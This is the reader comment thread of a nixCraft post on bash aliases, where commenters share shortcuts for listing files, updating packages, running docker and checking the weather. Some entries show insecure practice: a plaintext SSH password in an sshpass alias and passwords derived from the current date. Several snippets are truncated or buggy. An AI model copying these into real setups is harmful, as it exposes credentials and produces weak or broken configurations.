Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.

reply   link

Andreas Dunker • Jan 13, 2015 @ 9:15

It's a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:

alias gr="grep -E -i –color"

And remember the man page:

"For almost every purpose, aliases are superseded by shell functions."

reply   link

ychaouche • Dec 26, 2016 @ 14:58

Got me a couple times too, wasted an awful amount of time on that.

reply   link

systemBuilder • Jan 6, 2017 @ 2:17

I think if you use –color=auto, then the colors will only be applied when the output is a tty. However, I do agree that it's a very bad idea to rename commands with aliases; it is much better to create your own command names such as 'cgrep' , 'cfgrep', 'cegrep', etc.

reply   link

proz • Jan 27, 2015 @ 17:55

Is passing all commands via sudo safe?

reply   link

Oliver • Feb 13, 2015 @ 11:31

Sometimes when working with text files this is quite helpful:

alias top10="sort|uniq -c|sort -n -r|head -n 10"

reply   link

DT • Apr 27, 2015 @ 13:50

list usernames

alias lu="awk -F: '{ print $1}' /etc/passwd"

reply   link

---

some guy • Aug 15, 2015 @ 15:15

```
# better ls
alias ls='ls -lAi --group-directories-first --color='always''

# make basic commands interactive and verbose
alias cp='cp -iv'      # interactive
alias rm='rm -ri'      # interactive
alias mv='mv -iv'       # interactive, verbose
alias grep='grep -i --color='always''  # ignore case

# starts nano with line number enabled
alias nano='nano -c'

# clear screen
alias cl='clear'

# shows the path variable
alias path='echo -e ${PATH//:/\n}'

# Filesystem diskspace usage
```

```
alias dus='df -h'


# quick ssh to raspberry pi
alias raspi='ssh root@192.168.1.6'


# perform 'ls' after 'rm' if successful.
rmls() {
  rm "$*"
  RESULT=$?
  if [ "$RESULT" -eq 0 ]; then
    ls
  fi
}


alias rm='rmls'


# reloads changes
alias rfc='source ~/.bashrc; cl'
alias rf='source ~/.bashrc'


# perform 'ls' after 'cd' if successful.
cdls() {
  builtin cd "$*"
  RESULT=$?
  if [ "$RESULT" -eq 0 ]; then
    ls
  fi
}
```

```
alias cd='cdls'

# quick cd back option
alias ..='cd ..'

# search for a string recursively in any C source files
alias src-grep='find . -name "*.[ch]" | xargs grep '

# for easily editting the path variable
nanopath ()
{
    declare TFILE=/tmp/path.$LOGNAME.$$;
    echo $PATH | sed 's/^:/.:/;s/:$/:./' | sed 's/::/:.:/g' |
    nano $TFILE;
    PATH=`awk ' { if (NR>1) printf ":"
      printf "%s",$1 }' $TFILE`;
    rm -f $TFILE;
    echo $PATH
}

alias nanopath='nanopath'
```

reply   link

---

ychaouche • Dec 26, 2016 @ 15:00

Why on earth would you alias nanopath to nanopath ?

reply   link

---

some guy • Aug 15, 2015 @ 15:20

in my experiance it is esasier to put the scripts you want to use aliases for in your .bash_aliases file. like so

```
~/nano .bash_aliases
rmls() {
  rm "$*"
  RESULT=$?
  if [ "$RESULT" -eq 0 ]; then
    ls
  fi
}
```

here is a function. and to make an alias for it is as simple as:

alias name='functionName args'

so for my example function it would be

alias rm='rmls'

reply　link

Natalia • Oct 30, 2015 @ 15:21

Great list! There are certainly some I going to use!

I also have some that maybe are so obvious nobody even finds it worth mentioning…

But since I'm a lazy beast:

```
alias getupdates='sudo apt-get update && sudo apt-get upgrade'
alias backupstuff='rsync -avhpr --delete-delay /some/location/
alias enter_some_user='ssh -p 9999 someuser@127.0.0.1'
```

reply   link

Birch • Dec 24, 2015 @ 13:58

Nice!

reply   link

---

ipstone • Dec 24, 2015 @ 14:52

quick update bashrc etc:

```
alias bashrc="vim ~/.bashrc && source ~/.bashrc"
```

reply   link

---

myklmar • Dec 25, 2015 @ 15:52

```
#To play a random collection of music from your music
library.
#(You need to have VLC installed)

alias play='nvlc /media/myklmar/MUSIC/mymusic/ -Z'
```

reply   link

Code4LifeVn • Jan 1, 2016 @ 12:11

Great!…Keep working

reply   link

Joel Hatcher • Feb 25, 2016 @ 16:25

Doing update on Mageia linux

alias doupdate="urpmi –auto –auto-update"

reply   link

rain • Feb 28, 2016 @ 1:35

Whats the weather doing?

```
alias rain='curl -4 http://wttr.in'
alias rain='curl -4 http://wttr.in/London'
```

reply   link

Cosmin • Mar 3, 2016 @ 9:35

Here is a repository with several useful aliases. You may want to have a look: https://github.com/algotech/dotaliases

reply   link

diyoyo • Aug 26, 2016 @ 10:26

Thanks.

Will the aliases appear using the "top" command?

How would like to see the alias name rather than the command name of the process. Is that possible?

Cheers.

reply   link

> ⟁ **Vivek Gite** • Aug 26, 2016 @ 17:57
>
> Noop. It will show actual command in top or ps output.
>
> reply   link

Sinan • Nov 10, 2016 @ 10:48

One of my favorite: copy something from command line to clipboard:

```
alias c='xsel --clipboard'
```

Then use like:

```
grep John file_for_contacts | c
```

now, john's contact info is copied to the clipboard, etc.

reply   link

lido • Dec 16, 2016 @ 20:08

alias s="sshpass -p'mypassword' ssh"

reply   link

---

ychaouche • Dec 26, 2016 @ 15:42

561797803640cfa8780cec_000034

Some useful functions too

561797803640cfa8780cec_000035

reply   link

---

systemBuilder • Jan 6, 2017 @ 2:00

List files in order of ascending size (the second form takes a file-pattern argument):

```
function lsdu() { ls -l $* | sort --key=5.1 -n; };
function lsduf() { ls -l | egrep $* | sort --key=5.1 -n; };
```

List the 10 most recently edited/changed files (m = more, a poor-man's more)

```
alias lsm='ls -lt | head -n 10'
```

List the tasks using the most CPU time

```
alias hogs='ps uxga | sort --key=4.1 -n'
```

[reply](#)   [link](#)

---

systemBuilder • Jan 6, 2017 @ 2:42

Sorry, typos and some new ones

```
alias hogs='ps uxga | sort --key=3.1 -n'
alias sdiff='sdiff -w 240'
function pyloc() { egrep -v '^[ ]*(#|$dollar)' $* | wc;
}; # count lines (python, sh)

function loc() { egrep -v '^[ ]*(//|/*|*|$dollar)' $* |
wc; }; # count lines (c, c++)
```

[reply](#)   [link](#)

Geo PC • Jan 18, 2017 @ 15:38

Is there any option to enable confirmation for the rm -rf . We had an alias setup for rm=rm -i so whenever we delete a file it asks for confirmation but when -f flag is supplied it will not asks for confirmation.

So can you anyone please help to create function so that it ask confirmation for rm (Or rm -r) command with force flag that is for rm -f and rm -rf commands?

[reply](#)   [link](#)

Ti81 • May 1, 2017 @ 16:57

I like confirmation aliases. So good to avoid deleting file by accident.

reply   link

Evaristo GZ • May 2, 2017 @ 7:40

To access a servers:

```
alias barney='ssh -i ~/.ssh/private.key debian@192.168.1.1'
```

To replace all ":" of the name of the files in the folder that is running. It serves to synchronize with Dropbox in Windows. Screenshot 2017-01-01 01:02:03 -> Screenshot 2017-01-01 01 02 03:

```
alias renombrar="rename 'y/ :/ /' *"
```

reply   link

---

schonny • Jun 8, 2017 @ 11:22

Great list!

I also have some that maybe are somebody finds interesting

```
alias ab='docker run --rm piegsaj/ab'
alias php='docker run --rm -it -v "$PWD":/opt -w /opt php php
alias java='docker run --rm -it -v "$PWD":/opt -w /opt java j
alias node='docker run --rm -it -v "$PWD":/opt -w /opt node n
```

```
alias ruby='docker run --rm -it -v "$PWD":/opt -w /opt ruby r
alias python='docker run --rm -it -v "$PWD":/opt -w /opt pyth
alias htop='docker run --rm -it --pid host tehbilly/htop'
alias mysql='docker run --rm -it imega/mysql-client mysql'
```

reply   link

Ridi • Nov 3, 2020 @ 7:16

these are awesome and will save my time:

```
alias pgsql='docker run --rm -it image/pgsql-client
pgsql'
```

reply   link

Vedanta • Sep 7, 2020 @ 18:24

Nice. This gave some additonal ideas. thank you kind stranger.

reply   link

Jan • Oct 27, 2020 @ 12:45

For repeating the last command but using sudo.

```
alias fu= 'sudo $(fc -ln -1)'
```

reply   link

zool • Mar 19, 2021 @ 11:23

```
alias fu='sudo !!'
```

reply   link

Zimba • Nov 3, 2020 @ 7:14

Mine is polite version:

```
alias please='sudo $(fc -ln -1)'
```

reply   link

Annika • Feb 26, 2021 @ 10:51

Potryasayushchiy spisok.

reply   link

Danièle Colbert • Mar 10, 2021 @ 7:39

What a good list. I learned a lot from this one.

reply   link

zool • Mar 19, 2021 @ 11:26

from ubuntu ~/.bashrc:

```
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] &&
echo terminal || echo error)" "$(history|tail -n1|sed -e
```

```
'\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
```

reply   link

Anonymous • May 4, 2021 @ 15:16

Handy! thanks!

reply   link

Dada Bhai • May 24, 2021 @ 12:56

Useful stuff. thanks!

reply   link

Mike • May 27, 2022 @ 3:36

Here's a couple aliases I have for python virtual env's

To use just go into the directory you want the venv for and type the appropriate command.

```
alias create-venv='python3 -m venv /home/${USER}/.config/venv/
alias activate-venv='source /home/${USER}/.config/venv/${PWD##
alias remove-venv='rm -rf /home/${USER}/.config/venv/${PWD##*/
```

reply   link

🐧 **Vivek Gite** • May 28, 2022 @ 9:12

Oh nice. Thanks!

reply   link

None • Aug 4, 2022 @ 11:04

alias c="clear"

on most common shell interperter if properly set :

CTL + L (or) CTRL + ALT + L (lower case)

reply   link

Ela • Nov 9, 2022 @ 19:38

A tip that I would like to know: how do you make an alias that can directly reply to a prompt of this kind "Are you sure to activate this command [y/n] ?", so that the command can execute on its own without needing me to type "y".

reply   link

◌ **Vivek Gite** • Dec 12, 2022 @ 17:43

Use functions. That is much better.

```
foobar(){
    read -rp 'Are you sure (y/n)? ' ans
    if [ "${ans,,}" == "y" ]
    then
        echo "Running command /bin/foobar here ..."
    fi
```

```
        }
```

reply   link

Rahmanism • Dec 11, 2022 @ 18:54

```
alias x='exit'
alias start='xdg-open'
alias .='xdg-open .'
alias la='ls -lhAF'
```

reply   link

Krizu • Dec 27, 2022 @ 7:10

For creating passwords:

```
alias createpass='echo -e $(date +%s | sha256sum | base64 | he
```

alias psmem10='ps auxf | sort -nr -k 4 | head -10′ is nice, althou I like adding 'ps auxf | head -n1 && ' for ease to read 🙂

```
alias psmem10='ps  auxf | head -n1 && ps auxf | sort -nr -k 4
```

reply   link

Thomas • Mar 3, 2023 @ 10:32

Manually setting date and time on a raspberry pi without a realtime clock.

```
alias t1="sudo timedatectl set-ntp false"
alias t2="sudo timedatectl set-time"
alias t3="sudo timedatectl set-ntp true"
```

Usage of t2:

```
t2 '2023-03-03 10:36:00'
```

Some app's user interface are too big for the raspberry pi official 7 inch touchscreen and cannot be moved. xrandr can rotate the screen and this sometimes solves the problem.

```
alias xinv='sudo xrandr --output DSI-1 --rotate inverted'
alias xleft='sudo xrandr --output DSI-1 --rotate left'
alias xnorm='sudo xrandr --output DSI-1 --rotate normal'
alias xright='sudo xrandr --output DSI-1 --rotate right'
```

Turning a bashscript into an alias:

```
alias x='echo '\''terminal keyboard shortcuts'\'' && echo '\''
```

reply   link

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment *

Name

Post Comment

Use HTML <pre>...</pre> for code samples. Your comment will appear only after approval by the site admin.

Next post: FAQ Updates: June/11/2012

Previous post: Download Of The Day: Firefox 13 – Linux / Windows / Mac OS X

SEARCH

🔍 To search, type & hit enter...

1   30 Cool Open Source Software I Discovered in 2013

2   30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X

3   Top 32 Nmap Command Examples For Linux Sys/Network Admins

4   25 PHP Security Best Practices For Linux Sys Admins

5   30 Linux System Monitoring Tools Every SysAdmin Should Know

6   40 Linux Server Hardening Security Tips

7   Linux: 25 Iptables Netfilter Firewall Examples For New SysAdmins

8   Top 20 OpenSSH Server Best Security Practices

9   [Top 25 Nginx Web Server Best Security Practices](#)

10   [My 10 UNIX Command Line Mistakes](#)

SIGN UP FOR MY NEWSLETTER

Get the latest tutorials on **Linux**, **SysAdmin** and **Open Source** topics in your **INBOX**. It's free.

SIGN UP

➔   [Howtos & Tutorials](#)

➔   [Linux shell scripting tutorial](#)

➔   [RSS/Feed](#)

➔   [About nixCraft](#)

Corporate patron

Get Started With Linode - Free $100 Credit

The Developer's Cloud, Simplified

Develop, deploy, and scale Linux servers

Linode.com